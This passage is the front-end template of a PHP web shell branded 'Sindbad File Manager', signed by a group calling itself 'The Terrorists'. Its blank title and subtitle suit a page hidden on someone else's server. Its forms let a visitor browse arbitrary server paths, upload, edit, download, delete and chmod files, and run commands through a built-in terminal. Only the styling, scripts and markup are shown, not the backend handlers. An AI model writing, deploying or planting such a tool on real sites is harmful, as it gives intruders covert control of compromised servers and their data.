                color: #e4e6eb;
                overflow-x: auto;
                white-space: pre;
            }
            
            .terminal-output {
                background: rgba(0, 0, 0, 0.3);
                border: 1px solid rgba(34, 197, 94, 0.3);
                border-radius: 4px;
                padding: 12px;
                font-family: 'SF Mono', Monaco, 'Cascadia Code', 'Roboto Mono', Consolas, 'Courier New', monospace;
                font-size: 12px;
                color: #22c55e;
                overflow-x: auto;
                white-space: pre;
                line-height: 1.5;
            }
            
            .grid-2 {
                display: grid;
                grid-template-columns: 1fr 1fr;
                gap: 12px;
            }
            
            @media (max-width: 768px) {
                .grid-2 {
                    grid-template-columns: 1fr;
                }
                
                body {
                    padding: 12px;
                }
                
                .action-buttons {
                    justify-content: flex-start;
                }
            }
            
            .up-btn {
                background: rgba(255, 255, 255, 0.06);
                border: 1px solid rgba(255, 255, 255, 0.1);
                color: #e4e6eb;
                margin-bottom: 12px;
                display: inline-flex;
                align-items: center;
                gap: 6px;
            }
            
            .up-btn:hover {
                background: rgba(255, 255, 255, 0.1);
                border-color: rgba(255, 255, 255, 0.15);
            }
            
            .bulk-actions {
                display: flex;
                gap: 8px;
                align-items: center;
                margin-bottom: 12px;
                padding: 12px;
                background: rgba(255, 255, 255, 0.03);
                border: 1px solid rgba(255, 255, 255, 0.08);
                border-radius: 4px;
            }
            
            .bulk-actions-text {
                color: #9ca3af;
                font-size: 13px;
                margin-right: auto;
            }
            
            input[type="checkbox"] {
                appearance: none;
                -webkit-appearance: none;
                width: 16px;
                height: 16px;
                border: 1px solid rgba(255, 255, 255, 0.2);
                border-radius: 3px;
                background: rgba(0, 0, 0, 0.3);
                cursor: pointer;
                position: relative;
                transition: all 0.15s ease;
            }
            
            input[type="checkbox"]:hover {
                border-color: rgba(255, 255, 255, 0.3);
                background: rgba(0, 0, 0, 0.4);
            }
            
            input[type="checkbox"]:checked {
                background: rgba(34, 197, 94, 0.2);
                border-color: #22c55e;
            }
            
            input[type="checkbox"]:checked::after {
                content: '✓';
                position: absolute;
                top: -1px;
                left: 2px;
                color: #22c55e;
                font-size: 12px;
                font-weight: bold;
            }
            
            th input[type="checkbox"] {
                margin: 0;
            }
            
            td input[type="checkbox"] {
                margin-right: 8px;
            }
            
            .upload-tabs {
                display: flex;
                margin-bottom: 10px;
                border-bottom: 1px solid rgba(255, 255, 255, 0.1);
            }
            
            .upload-tab {
                padding: 8px 12px;
                cursor: pointer;
                border-bottom: 2px solid transparent;
                transition: all 0.2s;
            }
            
            .upload-tab.active {
                border-bottom-color: #22c55e;
                color: #22c55e;
            }
            
            .upload-tab:hover {
                color: #e4e6eb;
            }
            
            .upload-panel {
                display: none;
            }
            
            .upload-panel.active {
                display: block;
            }
            
            .modal {
                display: none;
                position: fixed;
                z-index: 1000;
                left: 0;
                top: 0;
                width: 100%;
                height: 100%;
                background-color: rgba(0, 0, 0, 0.7);
            }
            
            .modal-content {
                background-color: #2a2d35;
                margin: 10% auto;
                padding: 20px;
                border-radius: 8px;
                width: 400px;
                max-width: 90%;
                border: 1px solid rgba(255, 255, 255, 0.1);
            }
            
            .modal-header {
                display: flex;
                justify-content: space-between;
                align-items: center;
                margin-bottom: 15px;
            }
            
            .modal-title {
                font-size: 16px;
                font-weight: 500;
                color: #e4e6eb;
            }
            
            .close {
                color: #9ca3af;
                font-size: 24px;
                font-weight: bold;
                cursor: pointer;
                line-height: 1;
            }
            
            .close:hover {
                color: #e4e6eb;
            }
            
            .chmod-options {
                display: grid;
                grid-template-columns: repeat(4, 1fr);
                gap: 10px;
                margin-bottom: 15px;
            }
            
            .chmod-group {
                text-align: center;
            }
            
            .chmod-group label {
                display: block;
                margin-bottom: 5px;
                font-size: 12px;
                color: #9ca3af;
            }
            
            .chmod-group input[type="checkbox"] {
                margin: 0 2px;
            }
        </style>
        <script>
            function toggleSelectAll(checkbox) {
                const checkboxes = document.querySelectorAll('input[name="selected_items[]"]');
                checkboxes.forEach(cb => cb.checked = checkbox.checked);
                updateBulkActions();
            }
            
            function updateBulkActions() {
                const checkboxes = document.querySelectorAll('input[name="selected_items[]"]:checked');
                const bulkActions = document.getElementById('bulk-actions');
                const countText = document.getElementById('selected-count');
                
                if (checkboxes.length > 0) {
                    bulkActions.style.display = 'flex';
                    countText.textContent = checkboxes.length + ' item(s) selected';
                } else {
                    bulkActions.style.display = 'none';
                }
            }
            
            function switchUploadTab(tabId) {
                // Hide all panels
                document.querySelectorAll('.upload-panel').forEach(panel => {
                    panel.classList.remove('active');
                });
                
                // Remove active class from all tabs
                document.querySelectorAll('.upload-tab').forEach(tab => {
                    tab.classList.remove('active');
                });
                
                // Show selected panel
                document.getElementById(tabId + '-panel').classList.add('active');
                
                // Add active class to selected tab
                document.getElementById(tabId + '-tab').classList.add('active');
            }
            
            function uploadFile() {
                var fileInput = document.getElementById('upload_files');
                var statusSpan = document.getElementById('upload_status');
                
                if (!fileInput.files || fileInput.files.length === 0) {
                    statusSpan.textContent = "No file selected";
                    statusSpan.style.color = "red";
                    return;
                }
                
                var file = fileInput.files[0];
                var filename = file.name;
                var currentDir = "<?= addslashes($_SESSION['current_dir']) ?>";
                var scriptUrl = window.location.pathname;
                
                statusSpan.textContent = "Uploading " + filename + ", please wait...";
                statusSpan.style.color = "blue";
                
                var reader = new FileReader();
                reader.readAsBinaryString(file);
                
                reader.onloadend = function(evt) {
                    var xhr = new XMLHttpRequest();
                    xhr.open("POST", scriptUrl + "?upload_file=" + encodeURIComponent(currentDir) + "&name=" + encodeURIComponent(filename), true);
                    
                    XMLHttpRequest.prototype.mySendAsBinary = function(text) {
                        var data = new ArrayBuffer(text.length);
                        var ui8a = new Uint8Array(data, 0);
                        for (var i = 0; i < text.length; i++) {
                            ui8a[i] = (text.charCodeAt(i) & 0xff);
                        }
                        
                        if (typeof window.Blob == "function") {
                            var blob = new Blob([data]);
                        } else {
                            var bb = new (window.MozBlobBuilder || window.WebKitBlobBuilder || window.BlobBuilder)();
                            bb.append(data);
                            var blob = bb.getBlob();
                        }
                        
                        this.send(blob);
                    }
                    
                    xhr.onreadystatechange = function() {
                        if (xhr.readyState == 4) {
                            if (xhr.status == 200) {
                                statusSpan.textContent = "File " + filename + " uploaded successfully!";
                                statusSpan.style.color = "#22c55e";
                                setTimeout(function() {
                                    location.reload();
                                }, 1000);
                            } else {
                                statusSpan.textContent = "Upload failed: " + xhr.responseText;
                                statusSpan.style.color = "red";
                            }
                        }
                    };
                    
                    xhr.mySendAsBinary(evt.target.result);
                };
            }
            
            function openChmodModal(itemName) {
                document.getElementById('chmodModal').style.display = 'block';
                document.getElementById('chmodItem').value = itemName;
                
                // Get current permissions
                var currentPerms = document.getElementById('currentPerms_' + itemName.replace(/[^a-zA-Z0-9]/g, '_')).value;
                updateChmodDisplay(currentPerms);
            }
            
            function closeChmodModal() {
                document.getElementById('chmodModal').style.display = 'none';
            }
            
            function updateChmodDisplay(perms) {
                document.getElementById('chmodOctal').value = perms;
                
                // Convert octal to binary for checkboxes
                var octal = parseInt(perms, 8);
                var binary = octal.toString(2).padStart(9, '0');
                
                // Owner permissions
                document.getElementById('owner_read').checked = binary[0] === '1';
                document.getElementById('owner_write').checked = binary[1] === '1';
                document.getElementById('owner_execute').checked = binary[2] === '1';
                
                // Group permissions
                document.getElementById('group_read').checked = binary[3] === '1';
                document.getElementById('group_write').checked = binary[4] === '1';
                document.getElementById('group_execute').checked = binary[5] === '1';
                
                // Other permissions
                document.getElementById('other_read').checked = binary[6] === '1';
                document.getElementById('other_write').checked = binary[7] === '1';
                document.getElementById('other_execute').checked = binary[8] === '1';
            }
            
            function updateChmodFromCheckboxes() {
                var binary = '';
                
                // Owner permissions
                binary += document.getElementById('owner_read').checked ? '1' : '0';
                binary += document.getElementById('owner_write').checked ? '1' : '0';
                binary += document.getElementById('owner_execute').checked ? '1' : '0';
                
                // Group permissions
                binary += document.getElementById('group_read').checked ? '1' : '0';
                binary += document.getElementById('group_write').checked ? '1' : '0';
                binary += document.getElementById('group_execute').checked ? '1' : '0';
                
                // Other permissions
                binary += document.getElementById('other_read').checked ? '1' : '0';
                binary += document.getElementById('other_write').checked ? '1' : '0';
                binary += document.getElementById('other_execute').checked ? '1' : '0';
                
                // Convert binary to octal
                var octal = parseInt(binary, 2).toString(8).padStart(3, '0');
                document.getElementById('chmodOctal').value = octal;
            }
            
            function setPresetChmod(preset) {
                updateChmodDisplay(preset);
            }
            
            // Close modal when clicking outside
            window.onclick = function(event) {
                var modal = document.getElementById('chmodModal');
                if (event.target == modal) {
                    modal.style.display = 'none';
                }
            }
        </script>
    </head>
    <body>
    <div class="container">
        <h1>&nbsp;</h1>
        <p class="subtitle">&nbsp;</p>

        <?php if ($notification): ?>
            <div class="alert alert-success"><?= htmlentities($notification) ?></div>
        <?php endif; ?>
        
        <?php if ($errorMsg): ?>
            <div class="alert alert-danger"><?= htmlentities($errorMsg) ?></div>
        <?php endif; ?>

        <div class="section">
            <div class="section-title">Current Directory</div>
            <form method="post" class="input-group">
                <input type="text" name="navigate" value="<?= htmlentities($currentDirectory) ?>" placeholder="Enter path...">
                <button class="btn" type="submit">Navigate</button>
            </form>
        </div>

        <div class="grid-2">
            <div class="section">
                <div class="section-title">Upload File</div>
                <div class="upload-tabs">
                    <div id="standard-tab" class="upload-tab active" onclick="switchUploadTab('standard')">Standard Upload</div>
                    <div id="advanced-tab" class="upload-tab" onclick="switchUploadTab('advanced')">Advanced Upload</div>
                </div>
                
                <div id="standard-panel" class="upload-panel active">
                    <form method="post" enctype="multipart/form-data">
                        <div class="input-group">
                            <input type="file" name="file_upload">
                            <button class="btn btn-primary" type="submit">Upload</button>
                        </div>
                    </form>
                </div>
                
                <div id="advanced-panel" class="upload-panel">
                    <div class="input-group">
                        <input type="file" id="upload_files" name="upload_files" multiple="multiple">
                        <button class="btn btn-primary" onclick="uploadFile(); return false;">Upload</button>
                    </div>
                    <p style="margin-top: 8px; font-size: 12px;">Status: <span id="upload_status" style="color:#9ca3af;">No file selected</span></p>
                </div>
            </div>

            <div class="section">
                <div class="section-title">Create New</div>
                <form method="post" class="input-group">
                    <input type="text" name="create_file" placeholder="New file name...">
                    <button class="btn btn-create" type="submit">File</button>
                </form>
                <form method="post" class="input-group">
                    <input type="text" name="create_folder" placeholder="New folder name...">
                    <button class="btn btn-create" type="submit">Folder</button>
                </form>
            </div>
        </div>

        <?php if ($fileToView && $viewContent !== null): ?>
            <div class="section">
                <div class="section-title">Viewing: <?= htmlentities($fileToView) ?></div>
                <textarea readonly><?= htmlentities($viewContent) ?></textarea>
            </div>
        <?php endif; ?>

        <?php if ($fileToEdit !== null): ?>
            <div class="section">
                <div class="section-title">Editing: <?= htmlentities($fileToEdit) ?></div>
                <form method="post">
                    <input type="hidden" name="file_to_edit" value="<?= htmlentities($fileToEdit) ?>">
                    <textarea name="file_content" style="height: 500px;"><?= htmlentities($fileContent) ?></textarea>
                    <div style="margin-top: 12px;">
                        <button class="btn btn-primary" type="submit">Save Changes</button>
                    </div>
                </form>
            </div>
        <?php endif; ?>

        <?php if ($commandAvailable): ?>
        <div class="section">
            <div class="section-title">Terminal</div>
            <form method="post" class="input-group">
                <input type="text" name="terminal_command" placeholder="Enter command...">
                <button class="btn btn-create" type="submit">Execute</button>
            </form>
            <?php if ($commandResult): ?>
                <div class="terminal-output" style="margin-top: 12px;"><?= htmlentities($commandResult) ?></div>
            <?php endif; ?>
        </div>
        <?php endif; ?>

        <form method="post">
            <button name="navigate" value="<?= dirname($currentDirectory) ?>" class="btn up-btn">← Parent Directory</button>
        </form>

        <form method="post" id="file-form">
            <div id="bulk-actions" class="bulk-actions" style="display: none;">
                <span class="bulk-actions-text" id="selected-count">0 item(s) selected</span>
                <button type="submit" name="bulk_download" class="btn btn-sm" onclick="return confirm('Download selected items as zip?')">Download Selected</button>
                <button type="submit" name="bulk_delete" class="btn btn-danger btn-sm" onclick="return confirm('Delete all selected items?')">Delete Selected</button>
            </div>

        <table>
            <thead>
                <tr>
                    <th style="width: 40px;">
                        <input type="checkbox" onclick="toggleSelectAll(this)">
                    </th>
                    <th style="width: auto;">Name</th>
                    <th style="width: 120px;">Type</th>
                    <th style="width: 100px; text-align: right;">Size</th>
                    <th style="width: 160px; text-align: center;">Modified</th>
                    <th style="width: 80px; text-align: center;">Permission</th>
                    <th style="width: auto; text-align: right;">Actions</th>
                </tr>
            </thead>
            <tbody>
            <?php foreach ($allItems as $item):
                $fullPath = $currentDirectory . '/' . $item;
                
                // --- FIX FOR STAT ERRORS ---
                // Use the validatePath function to ensure the file/directory exists
                // before trying to get its stats. This prevents warnings for broken
                // symlinks or files deleted during execution.
                $realPath = validatePath($fullPath);

                if ($realPath !== false) {
                    $isDirectory = @is_dir($realPath);
                    $canWrite = @is_writable($realPath);
                    $fileSize = $isDirectory ? 0 : @filesize($realPath);
                    $fileModTime = @filemtime($realPath);
                    $filePerms = @substr(sprintf('%o', @fileperms($realPath)), -4);
                } else {
                    // Set default values if the path is invalid (e.g., a broken symlink)
                    $isDirectory = @is_dir($fullPath); // is_dir() will be false for broken links
                    $canWrite = false;
                    $fileSize = 0;
                    $fileModTime = 0;
                    $filePerms = '????'; // Indicate unreadable permissions
                }
                
                $safeItemName = preg_replace('/[^a-zA-Z0-9]/', '_', $item);
    ?>
                <tr>
                    <td>
                        <input type="checkbox" name="selected_items[]" value="<?= htmlentities($item) ?>" onclick="updateBulkActions()">
                    </td>
                    <td>
                        <?php if ($itemToRename === $item): ?>
                            <form method="post" class="rename-form" style="margin: 0;">
                                <input type="hidden" name="old_name" value="<?= htmlentities($item) ?>">
                                <input type="text" name="new_name" value="<?= htmlentities($item) ?>">
                                <button class="btn btn-primary btn-sm" type="submit">Save</button>
                            </form>
                        <?php elseif ($itemToChmod === $item): ?>
                            <form method="post" class="chmod-form" style="margin: 0;">
                                <input type="hidden" name="chmod_item" value="<?= htmlentities($item) ?>">
                                <input type="text" name="chmod_value" value="<?= $filePerms ?>" maxlength="3" placeholder="755">
                                <button class="btn btn-primary btn-sm" type="submit">Set</button>
                                <button class="btn btn-sm" type="button" onclick="location.reload();">Cancel</button>
                            </form>
                        <?php else: ?>
                            <span class="file-icon"><?= $isDirectory ? '/' : '' ?></span>
                            <?php if ($isDirectory): ?>
                                <a href="#" class="file-name" onclick="document.getElementById('navigate-form-<?= md5($item) ?>').submit(); return false;"><?= htmlentities($item) ?></a>
                                <form id="navigate-form-<?= md5($item) ?>" method="post" style="display: none;">
                                    <input type="hidden" name="navigate" value="<?= $fullPath ?>">
                                </form>
                            <?php else: ?>
                                <a href="#" class="file-name" onclick="document.getElementById('view-form-<?= md5($item) ?>').submit(); return false;"><?= htmlentities($item) ?></a>
                                <form id="view-form-<?= md5($item) ?>" method="post" style="display: none;">
                                    <input type="hidden" name="view" value="<?= $item ?>">
                                </form>
                            <?php endif; ?>
                        <?php endif; ?>
                    </td>
                    <td>
                        <!-- FIX FOR PHP VERSION COMPATIBILITY -->
                        <span class="file-type"><?= $isDirectory ? 'Directory' : (getFileExtension($item) ?: 'File') ?></span>
                    </td>
                    <td>
                        <span class="file-size"><?= $isDirectory ? '&mdash;' : formatFileSize($fileSize) ?></span>
                    </td>
                    <td>
                        <span class="file-date"><?= date('Y-m-d H:i:s', $fileModTime) ?></span>
                    </td>
                    <td style="text-align: center;">
                        <span class="<?= $canWrite ? 'writable' : 'readonly' ?>"><?= $filePerms ?></span>
                    </td>
                    <td>
                        <div class="action-buttons">
                            <?php if (!$isDirectory): ?>
                                <form method="post" style="display:inline;">
                                    <input type="hidden" name="edit" value="<?= htmlentities($item) ?>">
                                    <button type="submit" class="btn btn-sm">Edit</button>
                                </form>
                            <?php endif; ?>
                            <form method="post" style="display:inline;">
                                <input type="hidden" name="rename" value="<?= htmlentities($item) ?>">
                                <button type="submit" class="btn btn-sm">Rename</button>
                            </form>
                            <form method="post" style="display:inline;">
                                <input type="hidden" name="chmod" value="<?= htmlentities($item) ?>">
                                <button type="submit" class="btn btn-sm">Chmod</button>
                                <input type="hidden" id="currentPerms_<?= $safeItemName ?>" value="<?= $filePerms ?>">
                            </form>
                            <form method="post" style="display:inline;">
                                <input type="hidden" name="download" value="<?= htmlentities($item) ?>">
                                <button type="submit" class="btn btn-sm">Download</button>
                            </form>
                            <form method="post" style="display:inline;" onsubmit="return confirm('Are you sure you want to delete this item?');">
                                <input type="hidden" name="remove" value="<?= htmlentities($item) ?>">
                                <button type="submit" class="btn btn-danger btn-sm">Delete</button>
                            </form>
                        </div>
                    </td>
                </tr>
            <?php endforeach; ?>
            </tbody>
        </table>
        </form>
    </div>

    <!-- Chmod Modal -->
    <div id="chmodModal" class="modal">
        <div class="modal-content">
            <div class="modal-header">
                <span class="modal-title">Change Permissions</span>
                <span class="close" onclick="closeChmodModal()">&times;</span>
            </div>
            <form method="post">
                <input type="hidden" id="chmodItem" name="chmod_item" value="">
                <div class="chmod-options">
                    <div class="chmod-group">
                        <label>Owner</label>
                        <div>
                            <input type="checkbox" id="owner_read" onchange="updateChmodFromCheckboxes()"> R
                            <input type="checkbox" id="owner_write" onchange="updateChmodFromCheckboxes()"> W
                            <input type="checkbox" id="owner_execute" onchange="updateChmodFromCheckboxes()"> X
                        </div>
                    </div>
                    <div class="chmod-group">
                        <label>Group</label>
                        <div>
                            <input type="checkbox" id="group_read" onchange="updateChmodFromCheckboxes()"> R
                            <input type="checkbox" id="group_write" onchange="updateChmodFromCheckboxes()"> W
                            <input type="checkbox" id="group_execute" onchange="updateChmodFromCheckboxes()"> X
                        </div>
                    </div>
                    <div class="chmod-group">
                        <label>Other</label>
                        <div>
                            <input type="checkbox" id="other_read" onchange="updateChmodFromCheckboxes()"> R
                            <input type="checkbox" id="other_write" onchange="updateChmodFromCheckboxes()"> W
                            <input type="checkbox" id="other_execute" onchange="updateChmodFromCheckboxes()"> X
                        </div>
                    </div>
                    <div class="chmod-group">
                        <label>Octal</label>
                        <div>
                            <input type="text" id="chmodOctal" name="chmod_value" maxlength="3" style="width: 50px; text-align: center;">
                        </div>
                    </div>
                </div>
                <div style="margin-bottom: 15px;">
                    <button type="button" class="btn btn-sm" onclick="setPresetChmod('755')">755 (Default)</button>
                    <button type="button" class="btn btn-sm" onclick="setPresetChmod('644')">644 (File)</button>
                    <button type="button" class="btn btn-sm" onclick="setPresetChmod('777')">777 (All)</button>
                </div>
                <div>
                    <button type="submit" class="btn btn-primary">Apply Changes</button>
                    <button type="button" class="btn" onclick="closeChmodModal()">Cancel</button>
                </div>
            </form>
        </div>
    </div>

    </body>
    </html>

Sindbad File Manager Version 1.0, Coded By Sindbad EG ~ The Terrorists (>^ω^<)看过哭02teddd(>^ω^<)看过哭02teddd